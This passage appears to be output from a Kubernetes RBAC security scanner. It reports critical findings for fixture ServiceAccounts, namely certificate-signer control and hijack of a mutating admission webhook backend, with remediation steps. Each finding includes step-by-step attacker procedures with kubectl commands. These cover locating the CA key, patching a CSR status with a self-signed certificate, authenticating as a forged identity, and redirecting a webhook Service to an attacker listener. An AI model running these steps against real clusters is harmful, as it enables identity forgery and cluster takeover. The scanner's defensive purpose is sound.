The sign verb on the signers resource plus update/patch on certificatesigningrequests/status is the authorization Kubernetes defines for being a certificate signer: the CertificateSigning admission plugin checks sign when a status write populates status.certificate. Where CSR self-approval asks the cluster's signer to issue a cert, this identity is the signer — no create, no /approval, and no approver anywhere in the chain.

For kubernetes.io/kube-apiserver-client that means issuing a client certificate for any identity the holder names. For the kubelet signers it means minting node identities (CN=system:node:<name>), which the Node authorizer accepts for every object bound to that node.

One condition decides urgency: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This grant designates the holder as the signer, and a real signer holds that CA key by definition. So the question is whether this identity is supposed to be a certificate authority for cluster identities — true for the controller-manager or a purpose-built signer controller, never true for an application ServiceAccount.

  1. Attacker confirms the grant with kubectl auth can-i --list --as=system:serviceaccount:flux-system:kustomize-controller | grep -E 'signers|certificatesigningrequests/status'.
  2. They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (kubectl get pod -o yaml | grep -A5 -i 'ca\|tls\|signer'), or the controller-manager's /etc/kubernetes/pki/ca.key if the workload runs on a control-plane node.
  3. They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or system:node:<name> for the kubelet signers).
  4. They sign it with the CA key and write the result back themselves: kubectl patch csr <name> --subresource=status --type=merge -p '{"status":{"certificate":"<base64 PEM>"}}'. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold sign on that signerName.
  5. They authenticate with the issued cert: kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami returns the forged identity.
Remediation
Reserve sign on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope resourceNames to the one signerName it handles (never kubernetes.io/kube-apiserver-client, never a kubernetes.io/* or */* wildcard) and run it as a dedicated identity with no other permissions.
  1. Find every grant of the verb: kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?=="signers") and ((.verbs[]?=="sign") or (.verbs[]?=="*"))) | {name: .metadata.name, rules}'.
  2. Remove the sign grant from ServiceAccount/flux-system/kustomize-controller, or scope it with resourceNames to a custom signerName (example.com/my-signer) whose CA is NOT in the apiserver's --client-ca-file. A cert from a CA the apiserver does not trust as a client CA authenticates no one.
  3. Drop update/patch on certificatesigningrequests/status from any identity that is not a signer controller: without the status write, the sign verb issues nothing.
  4. Confirm the apiserver's --client-ca-file bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.
  5. Audit what was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).
  6. Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-flux-admin
Inspect: kubectl get clusterrolebinding deepchain-flux-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-flux-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 9.6
Signer control: ServiceAccount/rbac-fixtures/sa-cluster-admin can sign client certificates for kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown
Scope · Cluster Cluster-wide: signers is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin Resource: RBACRule/cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin holds the sign verb on the signers resource covering kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin) together with update/patch on certificatesigningrequests/status (via ClusterRoleBinding crb-cluster-admin → ClusterRole cluster-admin). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the sign verb when a status write populates status.certificate.

Where KUBE-PRIVESC-011 asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no create, no /approval, and no approver identity is involved anywhere in the chain.

What that yields is any identity in the cluster: the kubernetes.io/kube-apiserver-client signer places no restriction on the Subject DN beyond the system:masters Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (system:serviceaccount:kube-system:<sa>) or a control-plane user is issued without challenge.

One condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.

Impact Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSigner control: issuing certs without approval

The sign verb on the signers resource plus update/patch on certificatesigningrequests/status is the authorization Kubernetes defines for being a certificate signer: the CertificateSigning admission plugin checks sign when a status write populates status.certificate. Where CSR self-approval asks the cluster's signer to issue a cert, this identity is the signer — no create, no /approval, and no approver anywhere in the chain.

For kubernetes.io/kube-apiserver-client that means issuing a client certificate for any identity the holder names. For the kubelet signers it means minting node identities (CN=system:node:<name>), which the Node authorizer accepts for every object bound to that node.

One condition decides urgency: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This grant designates the holder as the signer, and a real signer holds that CA key by definition. So the question is whether this identity is supposed to be a certificate authority for cluster identities — true for the controller-manager or a purpose-built signer controller, never true for an application ServiceAccount.

  1. Attacker confirms the grant with kubectl auth can-i --list --as=system:serviceaccount:rbac-fixtures:sa-cluster-admin | grep -E 'signers|certificatesigningrequests/status'.
  2. They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (kubectl get pod -o yaml | grep -A5 -i 'ca\|tls\|signer'), or the controller-manager's /etc/kubernetes/pki/ca.key if the workload runs on a control-plane node.
  3. They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or system:node:<name> for the kubelet signers).
  4. They sign it with the CA key and write the result back themselves: kubectl patch csr <name> --subresource=status --type=merge -p '{"status":{"certificate":"<base64 PEM>"}}'. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold sign on that signerName.
  5. They authenticate with the issued cert: kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami returns the forged identity.
Remediation
Reserve sign on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope resourceNames to the one signerName it handles (never kubernetes.io/kube-apiserver-client, never a kubernetes.io/* or */* wildcard) and run it as a dedicated identity with no other permissions.
  1. Find every grant of the verb: kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?=="signers") and ((.verbs[]?=="sign") or (.verbs[]?=="*"))) | {name: .metadata.name, rules}'.
  2. Remove the sign grant from ServiceAccount/rbac-fixtures/sa-cluster-admin, or scope it with resourceNames to a custom signerName (example.com/my-signer) whose CA is NOT in the apiserver's --client-ca-file. A cert from a CA the apiserver does not trust as a client CA authenticates no one.
  3. Drop update/patch on certificatesigningrequests/status from any identity that is not a signer controller: without the status write, the sign verb issues nothing.
  4. Confirm the apiserver's --client-ca-file bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.
  5. Audit what was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).
  6. Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcrb-cluster-admin
Inspect: kubectl get clusterrolebinding crb-cluster-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-cluster-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL

Control-plane backend hijack: ServiceAccount/hookbackend-fixtures/hookbackend-operator can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures

KUBE-PRIVESC-038 4 subjects Score 10.0–9.0
MITRE ATT&CK: T1557T1610T1098T1078.004

Affected subjects (4)

CRITICAL ServiceAccount/hookbackend-fixtures/hookbackend-operator Cluster 10.0
Control-plane backend hijack: ServiceAccount/hookbackend-fixtures/hookbackend-operator can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
Scope · Cluster Namespaces hosting a Service the API server calls, where the subject holds both halves: hookbackend-fixtures
Category: Privilege Escalation Subject: ServiceAccount/hookbackend-fixtures/hookbackend-operator Resource: RBACRule/hookbackend-fixtures/hookbackend-operator

Subject ServiceAccount/hookbackend-fixtures/hookbackend-operator can steer the traffic of Services in hookbackend-fixtures (via RoleBinding hookbackend-fixtures/hookbackend-operator → Role hookbackend-fixtures/hookbackend-operator), a namespace that hosts MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com, which the API server itself calls. The subject also holds a way to present the backend's serving certificate (via RoleBinding hookbackend-fixtures/hookbackend-operator → Role hookbackend-fixtures/hookbackend-operator): read the Secret, mount it in a pod of its own, or run code in the backend's pods.

An admission webhook backend receives every admission review for the objects its rules match, and an aggregated API server receives every request for its API group, both sent by the API server with its own front-proxy credentials and the caller's identity. The API server reaches them through an ordinary Service, verified against the configuration's caBundle with the Service's DNS name pinned. Whoever can both steer that Service (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

This is why a namespace hosting such a backend has to be treated like kube-system: the built-in edit ClusterRole holds both halves (write Services and pods, read Secrets), and so does admin. A mutating webhook on pods CREATE hijacked this way rewrites every new pod, the position KUBE-PRIVESC-019 describes; a native-group APIService hijacked this way serves a core API group; a validating webhook is bypassed; any other backend is an interception point for the API server's traffic.

Impact Take over a Service the API server calls with its own credentials: rewrite every admitted pod (mutating webhook), bypass policy (validating webhook), or serve an API group in the API server's stead (APIService). The privesc graph reports the resulting path with the sink the backend's kind decides.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueControl-plane backend hijack

Admission webhooks and aggregated API servers are ordinary Services that the API server itself calls, with its own front-proxy credentials and the caller's identity attached. The API server verifies them against the configuration's caBundle with the Service's DNS name pinned. Whoever can steer that Service's traffic (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

A namespace hosting such a backend therefore has to be treated like kube-system: the built-in edit and admin ClusterRoles hold both halves. A hijacked mutating webhook on pods rewrites every new pod; a hijacked native-group APIService serves a core API group; a validating webhook is bypassed; anything else is an interception point for the API server's traffic.

  1. Attacker confirms the routing half with kubectl auth can-i patch services --as=hookbackend-operator -n hookbackend-fixtures and the TLS half with kubectl auth can-i get secrets --as=hookbackend-operator -n hookbackend-fixtures.
  2. They obtain the backend's serving key (the Secret, a pod that mounts it, or a shell in the backend's own pod) and run a listener that presents it.
  3. They steer the backend Service at their listener: a rewritten selector, an EndpointSlice of their own, or a pod of theirs that matches the selector.
  4. The API server's next admission review or aggregated request arrives at the attacker, who answers it (an injected privileged pod, an allowed request, a forged API response) and forwards the rest to the real backend so nothing visibly breaks.
Remediation
Treat every namespace that hosts a webhook or APIService backend like kube-system: no tenant, CI, or developer bindings there, and no edit/admin ClusterRoleBindings scoped to it; move the backend into a dedicated namespace if it shares one today.
  1. Remove ServiceAccount/hookbackend-fixtures/hookbackend-operator's bindings in hookbackend-fixtures, or move the backend into a namespace with no tenant bindings.
  2. Audit RoleBindings in every backend namespace: kubectl get rolebindings -n <ns> -o wide. Expect only the backend's own ServiceAccount and the platform team.
  3. Set the webhook caBundle or APIService caBundle to a dedicated CA that signs only that backend's serving certificate, keep the serving key in a Secret no other workload mounts, and never set insecureSkipTLSVerify.
  4. Apply a NetworkPolicy that lets only the control plane reach the backend pods, and alert on EndpointSlices in these namespaces whose managed-by label is not the EndpointSlice controller.
  5. Review every grant of update/patch on apiservices and scope it with resourceNames to the installer's own registrations.
Evidence
ScopeCluster
Namespacehookbackend-fixtures
API groupscore/v1
Resourcesservices
Verbsgetlistpatch
patch: Mutate existing objects in place
Source rolehookbackend-operator
Inspect: kubectl get clusterrole hookbackend-operator -o yaml
Source bindinghookbackend-operator
Inspect: kubectl get clusterrolebinding hookbackend-operator -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "hookbackend-fixtures",
  "resource_names": null,
  "resources": [
    "services"
  ],
  "scope": "cluster",
  "source_binding": "hookbackend-operator",
  "source_binding_kind": "RoleBinding",
  "source_role": "hookbackend-operator",
  "source_role_kind": "Role",
  "verbs": [
    "get",
    "list",
    "patch"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create Cluster 10.0
Control-plane backend hijack: ServiceAccount/rbac-fixtures/sa-pod-create can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
Scope · Cluster Namespaces hosting a Service the API server calls, where the subject holds both halves: hookbackend-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: RBACRule/cr-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create can steer the traffic of Services in hookbackend-fixtures (via ClusterRoleBinding crb-pod-create → ClusterRole cr-pod-create), a namespace that hosts MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com, which the API server itself calls. The subject also holds a way to present the backend's serving certificate (via ClusterRoleBinding crb-pod-create → ClusterRole cr-pod-create): read the Secret, mount it in a pod of its own, or run code in the backend's pods.

An admission webhook backend receives every admission review for the objects its rules match, and an aggregated API server receives every request for its API group, both sent by the API server with its own front-proxy credentials and the caller's identity. The API server reaches them through an ordinary Service, verified against the configuration's caBundle with the Service's DNS name pinned. Whoever can both steer that Service (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

This is why a namespace hosting such a backend has to be treated like kube-system: the built-in edit ClusterRole holds both halves (write Services and pods, read Secrets), and so does admin. A mutating webhook on pods CREATE hijacked this way rewrites every new pod, the position KUBE-PRIVESC-019 describes; a native-group APIService hijacked this way serves a core API group; a validating webhook is bypassed; any other backend is an interception point for the API server's traffic.

Impact Take over a Service the API server calls with its own credentials: rewrite every admitted pod (mutating webhook), bypass policy (validating webhook), or serve an API group in the API server's stead (APIService). The privesc graph reports the resulting path with the sink the backend's kind decides.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueControl-plane backend hijack

Admission webhooks and aggregated API servers are ordinary Services that the API server itself calls, with its own front-proxy credentials and the caller's identity attached. The API server verifies them against the configuration's caBundle with the Service's DNS name pinned. Whoever can steer that Service's traffic (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

A namespace hosting such a backend therefore has to be treated like kube-system: the built-in edit and admin ClusterRoles hold both halves. A hijacked mutating webhook on pods rewrites every new pod; a hijacked native-group APIService serves a core API group; a validating webhook is bypassed; anything else is an interception point for the API server's traffic.

  1. Attacker confirms the routing half with kubectl auth can-i patch services --as=sa-pod-create -n hookbackend-fixtures and the TLS half with kubectl auth can-i get secrets --as=sa-pod-create -n hookbackend-fixtures.
  2. They obtain the backend's serving key (the Secret, a pod that mounts it, or a shell in the backend's own pod) and run a listener that presents it.
  3. They steer the backend Service at their listener: a rewritten selector, an EndpointSlice of their own, or a pod of theirs that matches the selector.
  4. The API server's next admission review or aggregated request arrives at the attacker, who answers it (an injected privileged pod, an allowed request, a forged API response) and forwards the rest to the real backend so nothing visibly breaks.
Remediation
Treat every namespace that hosts a webhook or APIService backend like kube-system: no tenant, CI, or developer bindings there, and no edit/admin ClusterRoleBindings scoped to it; move the backend into a dedicated namespace if it shares one today.
  1. Remove ServiceAccount/rbac-fixtures/sa-pod-create's bindings in hookbackend-fixtures, or move the backend into a namespace with no tenant bindings.
  2. Audit RoleBindings in every backend namespace: kubectl get rolebindings -n <ns> -o wide. Expect only the backend's own ServiceAccount and the platform team.
  3. Set the webhook caBundle or APIService caBundle to a dedicated CA that signs only that backend's serving certificate, keep the serving key in a Secret no other workload mounts, and never set insecureSkipTLSVerify.
  4. Apply a NetworkPolicy that lets only the control plane reach the backend pods, and alert on EndpointSlices in these namespaces whose managed-by label is not the EndpointSlice controller.
  5. Review every grant of update/patch on apiservices and scope it with resourceNames to the installer's own registrations.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source rolecr-pod-create
Inspect: kubectl get clusterrole cr-pod-create -o yaml
Source bindingcrb-pod-create
Inspect: kubectl get clusterrolebinding crb-pod-create -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "cluster",
  "source_binding": "crb-pod-create",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-pod-create",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
CRITICAL ServiceAccount/rbac-fixtures/sa-workload-mutate Cluster 9.0
Control-plane backend hijack: ServiceAccount/rbac-fixtures/sa-workload-mutate can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
Scope · Cluster Namespaces hosting a Service the API server calls, where the subject holds both halves: hookbackend-fixtures
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate Resource: RBACRule/cr-workload-mutate

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate can steer the traffic of Services in hookbackend-fixtures (via ClusterRoleBinding crb-workload-mutate → ClusterRole cr-workload-mutate), a namespace that hosts MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com, which the API server itself calls. The subject also holds a way to present the backend's serving certificate (via ClusterRoleBinding crb-workload-mutate → ClusterRole cr-workload-mutate): read the Secret, mount it in a pod of its own, or run code in the backend's pods.

An admission webhook backend receives every admission review for the objects its rules match, and an aggregated API server receives every request for its API group, both sent by the API server with its own front-proxy credentials and the caller's identity. The API server reaches them through an ordinary Service, verified against the configuration's caBundle with the Service's DNS name pinned. Whoever can both steer that Service (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

This is why a namespace hosting such a backend has to be treated like kube-system: the built-in edit ClusterRole holds both halves (write Services and pods, read Secrets), and so does admin. A mutating webhook on pods CREATE hijacked this way rewrites every new pod, the position KUBE-PRIVESC-019 describes; a native-group APIService hijacked this way serves a core API group; a validating webhook is bypassed; any other backend is an interception point for the API server's traffic.

Impact Take over a Service the API server calls with its own credentials: rewrite every admitted pod (mutating webhook), bypass policy (validating webhook), or serve an API group in the API server's stead (APIService). The privesc graph reports the resulting path with the sink the backend's kind decides.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueControl-plane backend hijack

Admission webhooks and aggregated API servers are ordinary Services that the API server itself calls, with its own front-proxy credentials and the caller's identity attached. The API server verifies them against the configuration's caBundle with the Service's DNS name pinned. Whoever can steer that Service's traffic (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

A namespace hosting such a backend therefore has to be treated like kube-system: the built-in edit and admin ClusterRoles hold both halves. A hijacked mutating webhook on pods rewrites every new pod; a hijacked native-group APIService serves a core API group; a validating webhook is bypassed; anything else is an interception point for the API server's traffic.

  1. Attacker confirms the routing half with kubectl auth can-i patch services --as=sa-workload-mutate -n hookbackend-fixtures and the TLS half with kubectl auth can-i get secrets --as=sa-workload-mutate -n hookbackend-fixtures.
  2. They obtain the backend's serving key (the Secret, a pod that mounts it, or a shell in the backend's own pod) and run a listener that presents it.
  3. They steer the backend Service at their listener: a rewritten selector, an EndpointSlice of their own, or a pod of theirs that matches the selector.
  4. The API server's next admission review or aggregated request arrives at the attacker, who answers it (an injected privileged pod, an allowed request, a forged API response) and forwards the rest to the real backend so nothing visibly breaks.
Remediation
Treat every namespace that hosts a webhook or APIService backend like kube-system: no tenant, CI, or developer bindings there, and no edit/admin ClusterRoleBindings scoped to it; move the backend into a dedicated namespace if it shares one today.
  1. Remove ServiceAccount/rbac-fixtures/sa-workload-mutate's bindings in hookbackend-fixtures, or move the backend into a namespace with no tenant bindings.
  2. Audit RoleBindings in every backend namespace: kubectl get rolebindings -n <ns> -o wide. Expect only the backend's own ServiceAccount and the platform team.
  3. Set the webhook caBundle or APIService caBundle to a dedicated CA that signs only that backend's serving certificate, keep the serving key in a Secret no other workload mounts, and never set insecureSkipTLSVerify.
  4. Apply a NetworkPolicy that lets only the control plane reach the backend pods, and alert on EndpointSlices in these namespaces whose managed-by label is not the EndpointSlice controller.
  5. Review every grant of update/patch on apiservices and scope it with resourceNames to the installer's own registrations.
Evidence
ScopeCluster
API groupsappsbatch
Resourcesdeploymentsdaemonsetsstatefulsetsjobscronjobs
Verbscreateupdatepatch
create: Create new objects of this resource
update: Replace existing objects
patch: Mutate existing objects in place
Source rolecr-workload-mutate
Inspect: kubectl get clusterrole cr-workload-mutate -o yaml
Source bindingcrb-workload-mutate
Inspect: kubectl get clusterrolebinding crb-workload-mutate -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "apps",
    "batch"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "deployments",
    "daemonsets",
    "statefulsets",
    "jobs",
    "cronjobs"
  ],
  "scope": "cluster",
  "source_binding": "crb-workload-mutate",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-workload-mutate",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create",
    "update",
    "patch"
  ]
}
CRITICAL ServiceAccount/vulnerable/privileged-reader Cluster 9.0
Control-plane backend hijack: ServiceAccount/vulnerable/privileged-reader can take over MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com in hookbackend-fixtures
Scope · Cluster Namespaces hosting a Service the API server calls, where the subject holds both halves: hookbackend-fixtures
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader Resource: RBACRule/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader can steer the traffic of Services in hookbackend-fixtures (via ClusterRoleBinding privileged-reader → ClusterRole privileged-reader), a namespace that hosts MutatingWebhookConfiguration hookbackend-fixtures-injector/inject.hookbackend-fixtures.example.com, which the API server itself calls. The subject also holds a way to present the backend's serving certificate (via ClusterRoleBinding privileged-reader → ClusterRole privileged-reader): read the Secret, mount it in a pod of its own, or run code in the backend's pods.

An admission webhook backend receives every admission review for the objects its rules match, and an aggregated API server receives every request for its API group, both sent by the API server with its own front-proxy credentials and the caller's identity. The API server reaches them through an ordinary Service, verified against the configuration's caBundle with the Service's DNS name pinned. Whoever can both steer that Service (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

This is why a namespace hosting such a backend has to be treated like kube-system: the built-in edit ClusterRole holds both halves (write Services and pods, read Secrets), and so does admin. A mutating webhook on pods CREATE hijacked this way rewrites every new pod, the position KUBE-PRIVESC-019 describes; a native-group APIService hijacked this way serves a core API group; a validating webhook is bypassed; any other backend is an interception point for the API server's traffic.

Impact Take over a Service the API server calls with its own credentials: rewrite every admitted pod (mutating webhook), bypass policy (validating webhook), or serve an API group in the API server's stead (APIService). The privesc graph reports the resulting path with the sink the backend's kind decides.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueControl-plane backend hijack

Admission webhooks and aggregated API servers are ordinary Services that the API server itself calls, with its own front-proxy credentials and the caller's identity attached. The API server verifies them against the configuration's caBundle with the Service's DNS name pinned. Whoever can steer that Service's traffic (write its EndpointSlices or spec, or put a pod of their own behind it) and present its serving certificate (read the Secret, mount it, or run code in the backend's pods) is that backend.

A namespace hosting such a backend therefore has to be treated like kube-system: the built-in edit and admin ClusterRoles hold both halves. A hijacked mutating webhook on pods rewrites every new pod; a hijacked native-group APIService serves a core API group; a validating webhook is bypassed; anything else is an interception point for the API server's traffic.

  1. Attacker confirms the routing half with kubectl auth can-i patch services --as=privileged-reader -n hookbackend-fixtures and the TLS half with kubectl auth can-i get secrets --as=privileged-reader -n hookbackend-fixtures.
  2. They obtain the backend's serving key (the Secret, a pod that mounts it, or a shell in the backend's own pod) and run a listener that presents it.
  3. They steer the backend Service at their listener: a rewritten selector, an EndpointSlice of their own, or a pod of theirs that matches the selector.
  4. The API server's next admission review or aggregated request arrives at the attacker, who answers it (an injected privileged pod, an allowed request, a forged API response) and forwards the rest to the real backend so nothing visibly breaks.
Remediation
Treat every namespace that hosts a webhook or APIService backend like kube-system: no tenant, CI, or developer bindings there, and no edit/admin ClusterRoleBindings scoped to it; move the backend into a dedicated namespace if it shares one today.
  1. Remove ServiceAccount/vulnerable/privileged-reader's bindings in hookbackend-fixtures, or move the backend into a namespace with no tenant bindings.
  2. Audit RoleBindings in every backend namespace: kubectl get rolebindings -n <ns> -o wide. Expect only the backend's own ServiceAccount and the platform team.
  3. Set the webhook caBundle or APIService caBundle to a dedicated CA that signs only that backend's serving certificate, keep the serving key in a Secret no other workload mounts, and never set insecureSkipTLSVerify.
  4. Apply a NetworkPolicy that lets only the control plane reach the backend pods, and alert on EndpointSlices in these namespaces whose managed-by label is not the EndpointSlice controller.
  5. Review every grant of update/patch on apiservices and scope it with resourceNames to the installer's own registrations.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source roleprivileged-reader
Inspect: kubectl get clusterrole privileged-reader -o yaml
Source bindingprivileged-reader
Inspect: kubectl get clusterrolebinding privileged-reader -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "cluster",
  "source_binding": "privileged-reader",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "privileged-reader",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
CRITICAL

Non-system subject ServiceAccount/cert-manager/cert-manager directly bound to cluster-admin

